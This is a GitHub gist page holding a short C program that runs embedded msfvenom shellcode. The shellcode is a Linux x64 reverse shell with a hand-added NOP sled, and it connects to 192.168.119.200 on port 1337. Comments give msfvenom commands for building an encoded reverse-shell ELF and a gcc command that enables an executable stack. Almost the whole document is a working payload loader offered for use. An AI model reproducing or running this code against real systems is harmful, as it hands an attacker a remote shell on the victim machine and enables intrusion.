Skip to content

Instantly share code, notes, and snippets.

@ellcs
Last active March 28, 2020 14:45
Show Gist options
  • Save ellcs/8e869f8716fd4073598d640cbed99569 to your computer and use it in GitHub Desktop.
Save ellcs/8e869f8716fd4073598d640cbed99569 to your computer and use it in GitHub Desktop.
Execute bytearray in C
// You can just generate an elf file:
// $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.119.200 LPORT=1337 -f elf -e x86/shikata_ga_nai -o rev
// $ chmod u+x rev
// ./rev
// Or compile it on your own:
// $ gcc -z execstack linux_reverse.c
int main() {
// $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.119.200 LPORT=1337 -f c
// NOPs added by hand
unsigned char buf[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x05\x39\xc0\xa8\x77\xc8\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
((void (*)()) buf)();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment